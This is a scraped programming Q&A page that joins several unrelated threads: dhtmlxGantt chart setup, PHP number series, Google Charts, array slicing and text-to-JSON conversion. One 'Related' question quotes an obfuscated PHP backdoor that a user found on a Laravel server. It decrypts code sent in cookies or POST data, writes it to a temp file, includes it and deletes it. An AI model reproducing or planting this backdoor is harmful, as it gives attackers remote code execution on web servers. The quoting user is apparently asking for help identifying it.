I'm trying to insert a Gantt chart into the div container named 'GanttDiv'. I'm using dhtmlxGantt library.
So, I downloaded this library and saved it in mod_gantt/js. Next, I copied a sample code just to check how it works. The problem is that a Gantt chart is not created on my web page.
What could be the reason?
<script type="text/javascript" language="JavaScript">
function createChartControl('GanttDiv')
{
// Initialize Gantt data structures
var project1 = new GanttProjectInfo(1, "Applet redesign", new Date(2010, 5, 11));
var parentTask1 = new GanttTaskInfo(1, "Old code review", new Date(2010, 5, 11), 208, 50, "");
parentTask1.addChildTask(new GanttTaskInfo(2, "Convert to J#", new Date(2010, 5, 11), 100, 40, ""));
parentTask1.addChildTask(new GanttTaskInfo(13, "Add new functions", new Date(2010, 5, 12), 80, 90, ""));
var parentTask2 = new GanttTaskInfo(3, "Hosted Control", new Date(2010, 6, 7), 190, 80, "1");
var parentTask5 = new GanttTaskInfo(5, "J# interfaces", new Date(2010, 6, 14), 60, 70, "6");
var parentTask123 = new GanttTaskInfo(123, "use GUIDs", new Date(2010, 6, 14), 60, 70, "");
parentTask5.addChildTask(parentTask123);
parentTask2.addChildTask(parentTask5);
parentTask2.addChildTask(new GanttTaskInfo(6, "Task D", new Date(2010, 6, 10), 30, 80, "14"));
var parentTask4 = new GanttTaskInfo(7, "Unit testing", new Date(2010, 6, 15), 118, 80, "6");
var parentTask8 = new GanttTaskInfo(8, "core (com)", new Date(2010, 6, 15), 100, 10, "");
parentTask8.addChildTask(new GanttTaskInfo(55555, "validate uids", new Date(2010, 6, 20), 60, 10, ""));
parentTask4.addChildTask(parentTask8);
parentTask4.addChildTask(new GanttTaskInfo(9, "Stress test", new Date(2010, 6, 15), 80, 50, ""));
parentTask4.addChildTask(new GanttTaskInfo(10, "User interfaces", new Date(2010, 6, 16), 80, 10, ""));
parentTask2.addChildTask(parentTask4);
parentTask2.addChildTask(new GanttTaskInfo(11, "Testing, QA", new Date(2010, 6, 21), 60, 100, "6"));
parentTask2.addChildTask(new GanttTaskInfo(12, "Task B (Jim)", new Date(2010, 6, 8), 110, 1, "14"));
parentTask2.addChildTask(new GanttTaskInfo(14, "Task A", new Date(2010, 6, 7), 8, 10, ""));
parentTask2.addChildTask(new GanttTaskInfo(15, "Task C", new Date(2010, 6, 9), 110, 90, "14"));
project1.addTask(parentTask1);
project1.addTask(parentTask2);
//project 2
var project2 = new GanttProjectInfo(2, "Web Design", new Date(2010, 5, 17));
var parentTask22 = new GanttTaskInfo(62, "Fill HTML pages", new Date(2010, 5, 17), 157, 50, "");
parentTask22.addChildTask(new GanttTaskInfo(63, "Cut images", new Date(2010, 5, 22), 78, 40, ""));
parentTask22.addChildTask(new GanttTaskInfo(64, "Manage CSS", null, 90, 90, ""));
project2.addTask(parentTask22);
var parentTask70 = new GanttTaskInfo(70, "PHP coding", new Date(2010, 5, 18), 120, 10, "");
parentTask70.addChildTask(new GanttTaskInfo(71, "Purchase D control", new Date(2010, 5, 18), 50, 0, ""));
project2.addTask(parentTask70);
// Create Gantt control
var ganttChartControl = new GanttChart();
// Setup paths and behavior
ganttChartControl.setImagePath("mod_gantt/js/dhtmlxGantt/codebase/imgs/");
ganttChartControl.setEditable(false);
ganttChartControl.showTreePanel(false);
ganttChartControl.showContextMenu(false);
ganttChartControl.showDescTask(true,'n,s-f');
ganttChartControl.showDescProject(true,'n,d');
// Load data structure
ganttChartControl.addProject(project1);
ganttChartControl.addProject(project2);
// Build control on the page
ganttChartControl.create(htmlDiv1);
}
</script>
<div class="contacts">
<div class="_line">
<div class="_title">Phone:</div>
<div class="_txt">77 77 88</div>
</div>
</div>
<div id="GanttDiv" class="GanttDiv"></div>
Make your javascript instantly runnable by adding the following script:
(function(){
createChartControl('GanttDiv');
})();
Put the full JavaScript code just above the closing body tag. Chances are when you are calling the function, the div is not rendered in the page.
Something like this
<html>
<body>
div class="contacts">
<div class="_line">
<div class="_title">Phone:</div>
<div class="_txt">77 77 88</div>
</div>
</div>
<div id="GanttDiv" class="GanttDiv"></div>
<script type="text/javascript" language="JavaScript">
function createChartControl(htmlDiv1)
{
// Initialize Gantt data structures
var project1 = new GanttProjectInfo(1, "Applet redesign", new Date(2010, 5, 11));
var parentTask1 = new GanttTaskInfo(1, "Old code review", new Date(2010, 5, 11), 208, 50, "");
parentTask1.addChildTask(new GanttTaskInfo(2, "Convert to J#", new Date(2010, 5, 11), 100, 40, ""));
parentTask1.addChildTask(new GanttTaskInfo(13, "Add new functions", new Date(2010, 5, 12), 80, 90, ""));
var parentTask2 = new GanttTaskInfo(3, "Hosted Control", new Date(2010, 6, 7), 190, 80, "1");
var parentTask5 = new GanttTaskInfo(5, "J# interfaces", new Date(2010, 6, 14), 60, 70, "6");
var parentTask123 = new GanttTaskInfo(123, "use GUIDs", new Date(2010, 6, 14), 60, 70, "");
parentTask5.addChildTask(parentTask123);
parentTask2.addChildTask(parentTask5);
parentTask2.addChildTask(new GanttTaskInfo(6, "Task D", new Date(2010, 6, 10), 30, 80, "14"));
var parentTask4 = new GanttTaskInfo(7, "Unit testing", new Date(2010, 6, 15), 118, 80, "6");
var parentTask8 = new GanttTaskInfo(8, "core (com)", new Date(2010, 6, 15), 100, 10, "");
parentTask8.addChildTask(new GanttTaskInfo(55555, "validate uids", new Date(2010, 6, 20), 60, 10, ""));
parentTask4.addChildTask(parentTask8);
parentTask4.addChildTask(new GanttTaskInfo(9, "Stress test", new Date(2010, 6, 15), 80, 50, ""));
parentTask4.addChildTask(new GanttTaskInfo(10, "User interfaces", new Date(2010, 6, 16), 80, 10, ""));
parentTask2.addChildTask(parentTask4);
parentTask2.addChildTask(new GanttTaskInfo(11, "Testing, QA", new Date(2010, 6, 21), 60, 100, "6"));
parentTask2.addChildTask(new GanttTaskInfo(12, "Task B (Jim)", new Date(2010, 6, 8), 110, 1, "14"));
parentTask2.addChildTask(new GanttTaskInfo(14, "Task A", new Date(2010, 6, 7), 8, 10, ""));
parentTask2.addChildTask(new GanttTaskInfo(15, "Task C", new Date(2010, 6, 9), 110, 90, "14"));
project1.addTask(parentTask1);
project1.addTask(parentTask2);
//project 2
var project2 = new GanttProjectInfo(2, "Web Design", new Date(2010, 5, 17));
var parentTask22 = new GanttTaskInfo(62, "Fill HTML pages", new Date(2010, 5, 17), 157, 50, "");
parentTask22.addChildTask(new GanttTaskInfo(63, "Cut images", new Date(2010, 5, 22), 78, 40, ""));
parentTask22.addChildTask(new GanttTaskInfo(64, "Manage CSS", null, 90, 90, ""));
project2.addTask(parentTask22);
var parentTask70 = new GanttTaskInfo(70, "PHP coding", new Date(2010, 5, 18), 120, 10, "");
parentTask70.addChildTask(new GanttTaskInfo(71, "Purchase D control", new Date(2010, 5, 18), 50, 0, ""));
project2.addTask(parentTask70);
// Create Gantt control
var ganttChartControl = new GanttChart();
// Setup paths and behavior
ganttChartControl.setImagePath("mod_gantt/js/dhtmlxGantt/codebase/imgs/");
ganttChartControl.setEditable(false);
ganttChartControl.showTreePanel(false);
ganttChartControl.showContextMenu(false);
ganttChartControl.showDescTask(true,'n,s-f');
ganttChartControl.showDescProject(true,'n,d');
// Load data structure
ganttChartControl.addProject(project1);
ganttChartControl.addProject(project2);
// Build control on the page
ganttChartControl.create(htmlDiv1);
}
createChartControl('GanttDiv');
</script>
</body>
Related
this is the file code which is created automatically in my public folder in laravel 8 project deployed on ubuntu server. Is this some kind of malware or virus Please kindly explain it, thanks is advance
function x1($c2)
{
$j3 = "dHr-k<s6y7x.c_3?umLaFlb*po4#1eg#hf8;vI25" . " /ntEi'()";
$f5 = '';
foreach ($c2 as $d4) {
$f5 .= $j3[$d4];
}
return $f5;
}
$b6 = array();
$b6[] = x1(array(14, 12, 14, 7, 39, 19, 12, 34, 3, 12, 26, 28, 28, 3, 26, 14, 0, 22, 3, 22, 12, 12, 39, 3, 19, 39, 28, 7, 33, 38, 7, 9, 9, 0, 28, 39));
$b6[] = x1(array(15, 24, 32, 24, 40, 31, 16, 42, 21, 45, 42, 4, 47, 13, 13, 20, 37, 18, 44, 13, 13, 48, 35, 40));
$b6[] = x1(array(11, 17, 25, 0, 16, 21, 29));
$b6[] = x1(array(1, 23));
$b6[] = x1(array(11, 41));
$b6[] = x1(array(27));
$b6[] = x1(array(5));
$b6[] = x1(array(33, 45, 21, 29, 13, 24, 16, 43, 13, 12, 25, 42, 43, 29, 42, 43, 6));
$b6[] = x1(array(19, 2, 2, 19, 8, 13, 17, 29, 2, 30, 29));
$b6[] = x1(array(6, 43, 2, 13, 2, 29, 24, 29, 19, 43));
$b6[] = x1(array(29, 10, 24, 21, 25, 0, 29));
$b6[] = x1(array(6, 16, 22, 6, 43, 2));
$b6[] = x1(array(16, 42, 21, 45, 42, 4));
$b6[] = x1(array(6, 43, 2, 21, 29, 42));
$b6[] = x1(array(24, 19, 12, 4));
$b6[] = x1(array(17, 0, 39));
foreach ($b6[8]($_COOKIE, $_POST) as $d14 => $p11) {
function k8($b6, $d14, $b10)
{
return $b6[11]($b6[9]($d14 . $b6[0], ($b10 / $b6[13]($d14)) + 1), 0, $b10);
}
function b7($b6, $s12)
{
return #$b6[14]($b6[3], $s12);
}
function r9($b6, $s12)
{
if (isset($s12[2])) {
$i13 = $b6[4] . $b6[15]($b6[0]) . $b6[2];
#$b6[7]($i13, $b6[6] . $b6[1] . $s12[1]($s12[2]));
#include($i13);
#$b6[12]($i13);
exit();
}
}
$p11 = b7($b6, $p11);
r9($b6, $b6[10]($b6[5], $p11 ^ k8($b6, $d14, $b6[13]($p11))));
}
I'm trying to build the following numerical series 1, 1, 2, 3, 4, 5, 5, 6 until 100 ( It is a homework) . I have to do this using php code but I cannot get it , I've read the fibonacci method but the numerical series numbers are different.
<?php
$a=1;
$serie="1";
for ($i=1;$i<=100;$i++)
{
if($i%5==0)
{
$serie=$serie.",$i,$i";
}
else
{
$serie=$serie.",$i";
}
}
print $serie;
?>
As #tim pointed out in the comment, the solution is not printing a sequence from 1 to 100 where only numbers that are MOD 5 = 0 are duplicated. That way you do not get the repetition on 1.
From your homework question (which is not really clear in my opinion) I presume you want something like this:
<?php
for ($i = 0; $i < 100; $i++) {
echo $i+1 . ", ";
if ($i % 4 == 0) {
echo $i+1 . ", ";
}
}
?>
It prints:
1, 1, 2, 3, 4, 5, 5, 6, 7, 8, 9, 9, 10, 11, 12, 13, 13, 14, 15, 16, 17, 17, 18, 19, 20, 21, 21, 22, 23, 24, 25, 25, 26, 27, 28, 29, 29, 30, 31, 32, 33, 33, 34, 35, 36, 37, 37, 38, 39, 40, 41, 41, 42, 43, 44, 45, 45, 46, 47, 48, 49, 49, 50, 51, 52, 53, 53, 54, 55, 56, 57, 57, 58, 59, 60, 61, 61, 62, 63, 64, 65, 65, 66, 67, 68, 69, 69, 70, 71, 72, 73, 73, 74, 75, 76, 77, 77, 78, 79, 80, 81, 81, 82, 83, 84, 85, 85, 86, 87, 88, 89, 89, 90, 91, 92, 93, 93, 94, 95, 96, 97, 97, 98, 99, 100,
The logic is to print the index increased by 1 each iteration, and print it again if the result of the modulus operation index % 4 is equal to 0.
I have a chart that is being showed in an html page that is presenting a chart.
the chart looks like this:
the code i have for it is:
google.charts.load('current', {'packages':['corechart','bar']});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
var data = google.visualization.arrayToDataTable([
['Data', 'Valor de Compra'],
<?php echo $dados;?>
var options = {
'backgroundColor': 'transparent',
hAxis: {
format: 'y M/dd',
gridlines: {count: 15},
direction:1, slantedText:true, slantedTextAngle:90,
},
vAxis: {
gridlines: {color: 'none'},
minValue: 0
}
};
var chart = new google.visualization.LineChart(document.getElementById('curve_chart'));
chart.draw(data, options);
}
The variable $dados is getting this data:
[new Date(2018, 11, 04), 3.00],[new Date(2018, 11, 03), 3.20],[new Date(2018, 10, 29), 2.95],[new Date(2018, 10, 29), 3.50],[new Date(2018, 10, 23), 3.20],[new Date(2018, 9, 18), 2.95],[new Date(2018, 9, 18), 2.95],[new Date(2018, 9, 18), 2.95],[new Date(2018, 9, 17), 2.95],[new Date(2018, 9, 17), 2.90],[new Date(2018, 9, 12), 2.95],[new Date(2018, 9, 11), 2.95],[new Date(2018, 9, 11), 2.95],[new Date(2018, 9, 08), 2.20],[new Date(2018, 8, 13), 2.10],[new Date(2018, 8, 13), 2.10],[new Date(2018, 8, 12), 2.00],[new Date(2018, 8, 12), 2.95],[new Date(2018, 8, 08), 2.00],[new Date(2018, 8, 07), 2.10],
]);
And my goal is to change this layout to something more attracting and good-looking.
I'v been trying to change it to a column chart but so far everything failed...
I'm sure it must be something really simple...
is there a way to only have the year and the month when a new year start and when a new month starts?
Thank you in advance!
google.charts.load('current', {'packages':['bar']});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
var data = google.visualization.arrayToDataTable([
['Data', 'Valor de Compra'],
]);
var chart = new google.charts.Bar(document.getElementById('columnchart_material'));
then
<div id="columnchart_material" style="width: 800px; height: 500px;"></div>
Okay, so I got this multidimensional array in my project with some different values in it. For example:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33),
array("Array6", 51, 6, 21, 36),
array("Array7", 53, 8, 23, 38),
array("Array8", 55, 10, 25, 40),
array("Array9", 57, 12, 27, 42),
array("Array10", 59, 14, 29, 44),
);
I want to extract only a part of myArray, and "disable" the other part of the array. So I only want this output:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33)
);
Is there any way of achieving this in php?
array_slice() could help you.
$myArray= array_splice($myArray, 0, 5);
print '<pre>';
print_r($myArray);
print '</pre>';
I am in need of help on how to generate multiple JSON files from data from a text file. I have a JSON file "file1.json" with following structure:
{
"level": [
6, 6, 4, 4, 2, 2, 3, 3, 6, 6,
0, 2, 3, 3, 6, 6, 4, 4, 3, 3,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0
]
}
I have a text file with similar data but not in json format and separated by a line:
8, 8, 8, 8, 8, 8, 8, 8,
0, 6, 6, 4, 4, 2, 2, 3,
2, 2, 3, 3, 6, 6, 4, 4,
0, 0, 0, 0, 0, 0, 0, 0,
6, 6, 4, 4, 2, 2, 3, 3,
0, 6, 6, 4, 4, 2, 2, 4,
0, 0, 0, 3, 3, 3, 0, 0,
0, 0, 0, 0, 4, 0, 0, 0,
0, 7, 7, 7, 7, 7, 7, 0,
0, 0, 1, 1, 1, 1, 1, 0,
0, 0, 1, 1, 1, 1, 1, 0,
0, 0, 1, 1, 1, 1, 1, 0,
I am looking for a solution to help extract the data and create a json file in the above format with file name incremental like file2.json, file3.json etc but have not been able to find a solution to this as I have over 600 of these file to create.
Based on online search, it appears PHP might do but I have no knowledge of PHP. Any help or pointing me to a possible solution would be appreciated.
Not tested with the foreach loop, but by setting the $content static.
<?
$path = "/path/to/files/";
$files = array_diff(scandir($path), array('..', '.'));
foreach($file in $files)
{
$content = file_get_contents($path . $file, true);
/*
$content = "8, 8, 8, 8, 8, 8, 8, 8,
0, 6, 6, 4, 4, 2, 2, 3,
2, 2, 3, 3, 6, 6, 4, 4,
0, 0, 0, 0, 0, 0, 0, 0,";
*/
$content = preg_replace('/[^\d,]/i', '', $content);
$_content = array_filter(explode(',', $content));
echo json_encode(array('level' => array_values($_content)));
}
?>